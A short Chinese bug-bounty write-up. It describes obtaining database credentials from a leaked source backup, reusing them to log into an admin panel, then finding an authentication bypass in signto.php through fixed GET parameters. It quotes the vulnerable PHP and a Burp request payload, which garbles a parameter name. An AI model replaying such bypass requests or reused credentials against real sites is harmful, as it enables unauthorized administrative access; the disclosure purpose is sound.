前言
emmmmm....懒得写直接上才艺
信息收集
前期对目标资产进行了一遍比较"细致"的信息收集,发现某处站点存在备份文件泄露,哎哟我这不叒掏着了吗
已投已辜负
我是个比较懒的人,恰巧当时懒癌发作了,拿到源码后第一件事去找了他的config.php文件,拿到数据库的账号密码后本想尝试登录数据库的,可惜不支持远程连接
于是我就把密码拿到后台尝试登录了,我也不知道我当时为什么会这么想,但是我没想到他居然进去了!
到这里我就不想搞了太困了,于是直接就写报告交上去了,过了好些天我再去看,审核老哥说密码错误,我嘞个擦,这修复效率这么快吗????
已投没辜负
由于密码被改导致漏洞被驳回了,我就差1个金币换证书了啊!!!!!!于是乎我又去审代码了,这次直接去看signto.php文件,没想到有意外收获
以GET请求获取key和type的值分别当做name和super然后进入if判断参数key为superadmin并且参数type为"KEY"直接跳转./也就是后台地址
$_SESSION["ADMIN_NAME"] = trim($_GET["key"]);
$_SESSION["ADMIN_SUPER"] = trim($_GET["type"]);
if($_SESSION["ADMIN_NAME"]=="superadmin" && $_SESSION["ADMIN_SUPER"]=="KEY" && substr_count($_SERVER["HTTP_REFERER"], "xx")==1){
$_SESSION["ADMIN_GRADE"] = 8;
$sql = "sql";
$rst = $db->query($sql);
if ($row = $db->fetch_array($rst)) {
$superCount = $row["cnt"];
} else {
$superCount = 0;
}
if($superCount==0){
$sql = "sqlsql";
if ($db->query($sql)){
$_SESSION["ADMIN_ID"] = $db->getMax("admin", "id");
header("Location: ./");
exit();
}
}else{
$sql ="sqlsqlsql";
$rst = $db -> query($sql);
if ($row = $db -> fetch_array($rst)){
$_SESSION["ADMIN_ID"] = $row["id"];
}
header("Location: ./");
exit();
}
}
那么直接Burp抓包,构造Payload :/signto.php?type=superadmin&type=KEY,在重发器发包直接绕过登录进入后台
结尾
这次纯属撞大运了,OK既然已经找到漏洞了,那又可以休息了,收工!晚安!